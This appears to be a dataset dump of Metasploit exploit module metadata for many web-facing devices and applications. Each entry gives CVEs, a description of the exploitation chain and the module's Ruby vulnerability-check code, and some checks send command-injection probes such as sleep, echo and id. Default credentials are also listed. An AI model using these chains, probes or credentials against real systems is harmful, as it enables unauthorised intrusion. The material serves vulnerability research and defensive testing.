deardaniel/secdata-raw huggingface dataset:
Metasploit Module: TerraMaster TOS 4.2.15 or lower - RCE chain from unauthenticated to root via session crafting.
Type: exploit
Path: modules/exploits/linux/http/terramaster_unauth_rce_cve_2021_45837.rb
Platform: unix
Disclosure date: 2021-12-24
References: CVE-2021-45837, CVE-2021-45839, CVE-2021-45841, URL-https://thatsn0tmy.site/posts/2021/12/how-to-summon-rces/, URL-https://attackerkb.com/topics/8rNXrrjQNy/cve-2021-45837
Targets: Unix Command, Linux Dropper

Description:
Terramaster chained exploit that performs session crafting to achieve escalated privileges that allows
          an attacker to access vulnerable code execution flaws. TOS versions 4.2.15 and below are affected.
          CVE-2021-45839 is exploited to obtain the first administrator's hash set up on the system as well as other
          information such as MAC address, by performing a request to the `/module/api.php?mobile/webNasIPS` endpoint.
          This information is used to craft an unauthenticated admin session using CVE-2021-45841 where an attacker
          can self-sign session cookies by knowing the target MAC address and the user password hash.
          Guest users (disabled by default) can be abused using a null/empty hash and allow an unauthenticated attacker
          to login as guest.
          Finally, CVE-2021-45837 is exploited to execute arbitrary commands as root by sending a specifically crafted
          input to vulnerable endpoint `/tos/index.php?app/del`.

Check method (fingerprinting):
get_terramaster_info
    return CheckCode::Safe('The target is not vulnerable') if @terramaster.empty?

    if Rex::Version.new(@terramaster['tos_version']) <= Rex::Version.new('4.2.15')
      return CheckCode::Vulnerable("TOS version is #{@terramaster['tos_version']} and CPU architecture is #{@terramaster['cpu_arch']}.")
    end

    CheckCode::Safe("TOS version is #{@terramaster['tos_version']} and CPU architecture is #{@terramaster['cpu_arch']}.")
  end
Metasploit Module: Vinchin Backup and Recovery Command Injection
Type: exploit
Path: modules/exploits/linux/http/vinchin_backup_recovery_cmd_inject.rb
Platform: linux
Disclosure date: 2023-10-26
References: CVE-2023-45498, CVE-2023-45499, URL-https://blog.leakix.net/2023/10/vinchin-backup-rce-chain/, URL-https://vinchin.com/

Description:
This module exploits a command injection vulnerability in Vinchin Backup & Recovery
          v5.0.*, v6.0.*, v6.7.*, and v7.0.*. Due to insufficient input validation in the
          checkIpExists API endpoint, an attacker can execute arbitrary commands as the
          web server user.

Check method (fingerprinting):
target_uri_path = normalize_uri(target_uri.path, 'login.php')
    res = send_request_cgi('uri' => target_uri_path)

    return CheckCode::Unknown('Failed to connect to the target.') unless res
    return CheckCode::Unknown("Unexpected HTTP response code: #{res.code}") unless res.code == 200

    version_pattern = /Vinchin build: (\d+\.\d+\.\d+\.\d+)/
    version_match = res.body.match(version_pattern)

    unless version_match && version_match[1]
      return CheckCode::Unknown('Unable to extract version.')
    end

    version = Rex::Version.new(version_match[1])
    print_status("Detected Vinchin version: #{version}")

    if (version >= Rex::Version.new('5.0.0') && version < Rex::Version.new('5.1.0')) ||
       (version >= Rex::Version.new('6.0.0') && version < Rex::Version.new('6.1.0')) ||
       (version >= Rex::Version.new('6.7.0') && version < Rex::Version.new('6.8.0')) ||
       (version >= Rex::Version.new('7.0.0') && version < Rex::Version.new('7.0.2'))
      return CheckCode::Appears("Version #{version} appears to be vulnerable")
    else
      return CheckCode::Safe("Version #{version} is not vulnerable")
    end
  end
Metasploit Module: Linksys WRT54GL apply.cgi Command Execution
Type: exploit
Path: modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb
Platform: unix
Disclosure date: 2013-01-18
References: CVE-2005-2799, OSVDB-89912, BID-57459, EDB-24202, URL-http://www.s3cur1ty.de/m1adv2013-001
Targets: CMD, Linux mipsel Payload

Description:
Some Linksys Routers are vulnerable to an authenticated OS command injection in
          the Web Interface. Default credentials are admin/admin or admin/password. Since it
          is a blind os command injection vulnerability, there is no output for the executed
          command when using the cmd generic payload. A ping command against a controlled
          system could be used for testing purposes. The user must be prudent when using this
          module since it modifies the router configuration while exploitation, even when it
          tries to restore previous values.
Metasploit Module: Fortinet FortiOS, FortiProxy, and FortiSwitchManager authentication bypass.
Type: exploit
Path: modules/exploits/linux/http/fortinet_authentication_bypass_cve_2022_40684.rb
Platform: unix
Disclosure date: 2022-10-10
References: CVE-2022-40684, URL-https://www.fortiguard.com/psirt/FG-IR-22-377, URL-https://www.horizon3.ai/fortios-fortiproxy-and-fortiswitchmanager-authentication-bypass-technical-deep-dive-cve-2022-40684

Description:
This module exploits an authentication bypass vulnerability
          in the Fortinet FortiOS, FortiProxy, and FortiSwitchManager API
          to gain access to a chosen account. And then add a SSH key to the
          authorized_keys file of the chosen account, allowing
          to login to the system with the chosen account.

          Successful exploitation results in remote code execution.

Check method (fingerprinting):
vprint_status("Checking #{datastore['RHOST']}:#{datastore['RPORT']}")
    # a normal request to the API should return a 401
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, Rex::Text.rand_text_alpha_lower(6)),
      'ctype' => 'application/json'
    })

    return CheckCode::Unknown('Target did not respond to check.') unless res
    return CheckCode::Safe('Target seems not affected by this vulnerability.') unless res.code == 401

    # Trying to bypasss the authentication and get the sshkey from the current targeted user it should return a 200 if vulnerable
    res = fortinet_request({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/system/status')
    })

    return CheckCode::Safe('The target is not vulnerable') unless res&.code == 200

    version = res.get_json_document['version']

    print_good("Target is running the version #{version}, which is vulnerable.")

    Socket.tcp(rhost, ssh_rport, connect_timeout: datastore['SSH_TIMEOUT']) { |sock| return CheckCode::Safe('However SSH is not open, so adding a ssh key wouldn\t give you access to the host.') unless sock }

    CheckCode::Vulnerable('And SSH is running which makes it exploitable.')
  end
Metasploit Module: TP-Link SC2020n Authenticated Telnet Injection
Type: exploit
Path: modules/exploits/linux/http/tp_link_sc2020n_authenticated_telnet_injection.rb
Platform: unix
Disclosure date: 2015-12-20
References: CVE-2013-2578

Description:
The TP-Link SC2020n Network Video Camera is vulnerable
          to OS Command Injection via the web interface. By firing up the telnet daemon,
          it is possible to gain root on the device.  The vulnerability
          exists at /cgi-bin/admin/servetest, which is accessible with credentials.
Metasploit Module: php imap_open Remote Code Execution
Type: exploit
Path: modules/exploits/linux/http/php_imap_open_rce.rb
Disclosure date: 2018-10-23
References: URL-https://web.archive.org/web/[PII_REDACTED]3536/https://antichat.com/threads/463395, URL-https://github.com/Bo0oM/PHP_imap_open_exploit, EDB-45865, EDB-46136, URL-https://bugs.php.net/bug.php?id=76428, CVE-2018-19518, CVE-2[PII_REDACTED]

Description:
The imap_open function within php, if called without the /norsh flag, will attempt to preauthenticate an
          IMAP session.  On Debian based systems, including Ubuntu, rsh is mapped to the ssh binary.  Ssh's ProxyCommand
          option can be passed from imap_open to execute arbitrary commands.
          While many custom applications may use imap_open, this exploit works against the following applications:
          e107 v2, prestashop, SuiteCRM, as well as Custom, which simply prints the exploit strings for use.
          Prestashop exploitation requires the admin URI, and administrator credentials.
          suiteCRM/e107 require administrator credentials.  Fixed in php 5.6.39.

Check method (fingerprinting):
if target.name =~ /prestashop/
      uri = normalize_uri(target_uri.path)
      res = send_request_cgi({ 'uri' => uri })
      if res && (res.code == 301 || res.code == 302)
        return CheckCode::Detected('The target service was detected')
      end
    elsif target.name =~ /suitecrm/
      # login page GET /index.php?action=Login&module=Users
      vprint_status('Loading login page')
      res = send_request_cgi(
        'uri' => normalize_uri(target_uri.path, 'index.php'),
        'vars_get' => {
          'action' => 'Login',
          'module' => 'Users'
        }
      )
      unless res
        print_error('Error loading site.  Check options.')
        return
      end

      if res.code == 200
        return CheckCode::Detected('The target service was detected')
      end
    elsif target.name =~ /Horde IMP H3/
      res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'imp', 'test.php') })
      unless res
        print_error('Error loading site.  Check options.')
        return
      end
      major, minor = res.body.scan(/PHP Major Version: (?<major>5\.[1-6]{1})<\/li>\s+<li>PHP Minor Version: (?<minor>[\d]?\d)/).flatten
      phpversion = "#{major}.#{minor}"
      if res.code == 200 && res.body =~ /PHP Mail Server Support Test/ && phpversion != '.'
        if Rex::Version.new(phpversion) < Rex::Version.new('5.6.39')
          vprint_good("PHP Version #{phpversion} is vulnerable")
          return CheckCode::Appears("Version #{phpversion} appears to b
Metasploit Module: GravCMS Remote Command Execution
Type: exploit
Path: modules/exploits/linux/http/gravcms_exec.rb
Platform: php
Disclosure date: 2021-03-29
References: CVE-2021-21425, URL-https://pentest.blog/unexpected-journey-7-gravcms-unauthenticated-arbitrary-yaml-write-update-leads-to-code-execution/

Description:
This module exploits arbitrary config write/update vulnerability to achieve remote code execution.
          Unauthenticated users can execute a terminal command under the context of the web server user.

          Grav Admin Plugin is an HTML user interface that provides a way to configure Grav and create and modify pages.
          In versions 1.10.7 and earlier, an unauthenticated user can execute some methods of administrator controller without
          needing any credentials. Particular method execution will result in arbitrary YAML file creation or content change of
          existing YAML files on the system. Successfully exploitation of that vulnerability results in configuration changes,
          such as general site information change, custom scheduler job definition, etc. Due to the nature of the vulnerability,
          an adversary can change some part of the webpage, or hijack an administrator account, or execute operating system command
          under the context of the web-server user.

Check method (fingerprinting):
# During the fix, developers changed admin-nonce to login-nonce.

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'admin')
    )

    if res && res.get_hidden_inputs.first&.fetch('admin-nonce')
      CheckCode::Appears('The target appears to be vulnerable')
    else
      CheckCode::Safe('The target is not vulnerable')
    end
  end
Metasploit Module: Tactical RMM Jinja2 SSTI Remote Code Execution
Type: exploit
Path: modules/exploits/linux/http/tacticalrmm_ssti_rce_cve_2025_69516.rb
Platform: python
Disclosure date: 2026-01-29
References: CVE-2025-69516, URL-https://github.com/amidaware/tacticalrmm, URL-https://github.com/NtGabrielGomes/CVE-2025-69516
Targets: Python, Unix/Linux Command, Linux x64

Description:
This module exploits a Server-Side Template Injection (SSTI) vulnerability
          in Tactical RMM versions prior to 1.4.0 (CVE-2025-69516).

          The reporting template preview endpoint passes user-controlled Jinja2 template
          content to Environment.from_string() without sandboxing, allowing arbitrary
          Python code execution on the server.

          Valid credentials are required. The module authenticates to obtain a Knox API
          token, then delivers a Jinja2 SSTI payload through the template preview
          functionality to achieve OS command execution.

          The vulnerability was silently patched in version 1.4.0 by switching from
          jinja2.Environment to jinja2.sandbox.SandboxedEnvironment.

Check method (fingerprinting):
@token ||= try_login
    return CheckCode::Unknown('Authentication failed') unless @token

    vprint_status('Authenticated successfully')

    version = get_version(@token)
    if version
      vprint_status("Tactical RMM version: #{version}")
      return CheckCode::Safe("Version #{version} is patched (SandboxedEnvironment)") if Rex::Version.new(version) >= Rex::Version.new('1.4.0')

      print_good("Version #{version} is vulnerable (< 1.4.0)")
    end

    vprint_status('Confirming SSTI...')
    rand_a = rand(2..100)
    rand_b = rand(2..100)
    expected = (rand_a * rand_b).to_s
    res = send_template(@token, "{{ #{rand_a}*#{rand_b} }}")

    return CheckCode::Unknown('No response from template preview endpoint') unless res
    return CheckCode::Vulnerable('Jinja2 SSTI confirmed via unsandboxed template evaluation') if res.code == 200 && res.body.include?(expected)
    return CheckCode::Safe('Template preview accessible but expressions not evaluated') if res.code == 200

    CheckCode::Safe("Template preview returned HTTP #{res.code}")
  end
Metasploit Module: Dolibarr ERP/CRM Post-Auth OS Command Injection
Type: exploit
Path: modules/exploits/linux/http/dolibarr_cmd_exec.rb
Platform: %w{linux unix}
Disclosure date: 2012-04-06
References: CVE-2012-10059, OSVDB-80980, URL-https://seclists.org/fulldisclosure/2012/Apr/78

Description:
This module exploits a vulnerability found in Dolibarr ERP/CRM 3's
          backup feature.  This software is used to manage a company's business
          information such as contacts, invoices, orders, stocks, agenda, etc.
          When processing a database backup request, the export.php function
          does not check the input given to the sql_compat parameter, which allows
          a remote authenticated attacker to inject system commands into it,
          and then gain arbitrary code execution.

Check method (fingerprinting):
uri = normalize_uri(target_uri.path)
    uri << '/' if uri[-1, 1] != '/'
    res = send_request_raw({
      'method' => 'GET',
      'uri' => uri
    })

    if res and res.body =~ /Dolibarr 3\.1\.1/
      return Exploit::CheckCode::Appears('The target appears to be vulnerable')
    else
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end
  end
Metasploit Module: FLIR AX8 unauthenticated RCE
Type: exploit
Path: modules/exploits/linux/http/flir_ax8_unauth_rce_cve_2022_37061.rb
Platform: unix
Disclosure date: 2022-08-19
References: CVE-2022-37061, URL-https://attackerkb.com/topics/UAZaDsQBfx/cve-2022-37061
Targets: Unix Command, Linux Dropper

Description:
All FLIR AX8 thermal sensor cameras versions up to and including 1.46.16 are vulnerable to Remote Command Injection.
          This can be exploited to inject and execute arbitrary shell commands as the root user through the id HTTP POST parameter
          in the res.php endpoint.

          This module uses the vulnerability to upload and execute payloads gaining root privileges.

Check method (fingerprinting):
print_status("Checking if #{peer} can be exploited!")
    sleep_time = rand(5..10)
    print_status("Performing command injection test issuing a sleep command of #{sleep_time} seconds.")
    res, elapsed_time = Rex::Stopwatch.elapsed_time do
      execute_command("sleep #{sleep_time}")
    end

    return Exploit::CheckCode::Unknown('No response received from the target!') unless res

    print_status("Elapsed time: #{elapsed_time} seconds.")
    return CheckCode::Safe('Failed to test command injection.') unless elapsed_time >= sleep_time

    CheckCode::Vulnerable('Successfully tested command injection.')
  end
Metasploit Module: Cayin CMS NTP Server RCE
Type: exploit
Path: modules/exploits/linux/http/cayin_cms_ntp.rb
Platform: linux
Disclosure date: 2020-06-04
References: EDB-48553, URL-https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5571.php, CVE-2020-7357

Description:
This module exploits an authenticated RCE in Cayin CMS <= 11.0. The RCE is executed
          in the system_service.cgi file's ntpIp Parameter. The field is limited in size, so
          repeated requests are made to achieve a larger payload.
          Cayin CMS-SE is built for Ubuntu 16.04 (20.04 failed to install correctly), so the
          environment should be pretty set and not dynamic between targets.
          Results in root level access.

Check method (fingerprinting):
res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'login.cgi')
    )

    if res.nil? || res.code != 200
      return CheckCode::Safe('Could not connect to the web service, check URI Path and IP')
    end

    if res.body.include?('var model = "CMS') && res.body.include?('STR_CAYIN_LOGO')
      print_good('Cayin CMS install detected')
      return CheckCode::Detected('Cayin CMS install detected')
    end

    CheckCode::Safe('The target is not a Cayin CMS install')
  rescue ::Rex::ConnectionError
    CheckCode::Safe('Could not connect to the web service, check URI Path and IP')
  end
Metasploit Module: MVPower DVR Shell Unauthenticated Command Execution
Type: exploit
Path: modules/exploits/linux/http/mvpower_dvr_shell_exec.rb
Platform: linux
Disclosure date: 2015-08-23
References: CVE-2016-20016, URL-http://web.archive.org/web/[PII_REDACTED]0920/https://labby.co.uk/cheap-dvr-teardown-and-pinout-mvpower-hi3520d_v1-95p/, URL-https://www.pentestpartners.com/blog/pwning-cctv-cameras/

Description:
This module exploits an unauthenticated remote command execution
          vulnerability in MVPower digital video recorders. The 'shell' file
          on the web interface executes arbitrary operating system commands in
          the query string.

          This module was tested successfully on a MVPower model TV-7104HE with
          firmware version 1.8.4 115215B9 (Build 2014/11/17).

          The TV-7108HE model is also reportedly affected, but untested.

Check method (fingerprinting):
begin
      fingerprint = Rex::Text::rand_text_alpha(rand(10) + 6)
      res = send_request_cgi(
        'method' => 'GET',
        'uri' => '/shell',
        'query' => "echo+#{fingerprint}",
        'headers' => { 'Connection' => 'Keep-Alive' }
      )
      if res && res.body.include?(fingerprint)
        return CheckCode::Vulnerable('The target is vulnerable')
      end
    rescue ::Rex::ConnectionError
      return CheckCode::Unknown('Could not determine the target status')
    end
    CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: Cisco Small Business RV Series Authentication Bypass and Command Injection
Type: exploit
Path: modules/exploits/linux/http/cisco_rv_series_authbypass_and_rce.rb
Platform: unix
Disclosure date: 2021-04-07
References: CVE-2021-1472, CVE-2021-1473, URL-https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sb-rv-bypass-inject-Rbhgvfdx, URL-https://seclists.org/fulldisclosure/2021/Apr/39, URL-https://www.iot-inspector.com/blog/advisory-cisco-rv34x-authentication-bypass-remote-command-execution/
Targets: Unix Command, Linux Dropper

Description:
This module exploits an authentication bypass (CVE-2021-1472) and command injection (CVE-2021-1473)
          in the Cisco Small Business RV series of VPN/routers. The device does not adequately verify the
          credentials in the HTTP Authorization field when requests are made to the /upload endpoint. Then
          the upload.cgi binary will use the contents of the HTTP Cookie field as part of a `curl` request
          aimed at an internal endpoint. The curl request is executed using `popen` and allows the attacker
          to inject commands via the Cookie field.

          A remote and unauthenticated attacker using this module is able to achieve code execution as `www-data`.

          This module affects the RV340, RV340w, RV345, and RV345P using firmware versions 1.0.03.20 and below.

Check method (fingerprinting):
res = send_exploit('id')
    return CheckCode::Unknown("Didn't receive a response from the target.") unless res
    return CheckCode::Safe('The target did not respond with a 200 OK.') unless res.code == 200

    if res.body.include?('"jsonrpc":"2.0"') || res.body.include?('<head><title>301 Moved Permanently</title></head>')
      return CheckCode::Appears('The device responded to exploitation with a 200 OK.')
    end

    CheckCode::Safe('The target did not respond with an expected payload.')
  end
Metasploit Module: Logsign Remote Command Injection
Type: exploit
Path: modules/exploits/linux/http/logsign_exec.rb
Platform: python
Disclosure date: 2017-02-26
References: CVE-2024-5721, URL-https://pentest.blog/unexpected-journey-3-visiting-another-siem-and-uncovering-pre-auth-privileged-remote-code-execution/

Description:
This module exploits a command injection vulnerability in Logsign.
          By exploiting this vulnerability, unauthenticated users can execute
          arbitrary code under the root user.

          Logsign has a publicly accessible endpoint. That endpoint takes a user
          input and then use it during operating system command execution without
          proper validation.

          This module was tested against 4.4.2 and 4.4.137 versions.

Check method (fingerprinting):
p_hash = { :file => "#{rand_text_alpha(15 + rand(4))}.raw" }

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'api', 'log_browser', 'validate'),
      'ctype' => 'application/json',
      'data' => JSON.generate(p_hash)
    )

    if res && res.body.include?('{"message": "success", "success": true}')
      Exploit::CheckCode::Vulnerable('The target is vulnerable')
    else
      Exploit::CheckCode::Safe('The target is not vulnerable')
    end
  end
Metasploit Module: NUUO NVRmini 2 / Crystal / NETGEAR ReadyNAS Surveillance Authenticated Remote Code Execution
Type: exploit
Path: modules/exploits/linux/http/nuuo_nvrmini_auth_rce.rb
Platform: unix
Disclosure date: 2016-08-04
References: CVE-2016-5675, US-CERT-VU-856152, URL-https://raw.githubusercontent.com/pedrib/PoC/master/advisories/NUUO/nuuo-nvr-vulns.txt, URL-https://seclists.org/bugtraq/2016/Aug/45

Description:
The NVRmini 2 Network Video Recorder, Crystal NVR and the ReadyNAS Surveillance application are vulnerable
          to an authenticated remote code execution on the exposed web administration interface. An administrative
          account is needed to exploit this vulnerability.
          This results in code execution as root in the NVRmini and the 'admin' user in ReadyNAS.
          This exploit has been tested on several versions of the NVRmini 2, Crystal and the ReadyNAS Surveillance.
          It probably also works on the NVRsolo and other Nuuo devices, but it has not been tested
          in those devices.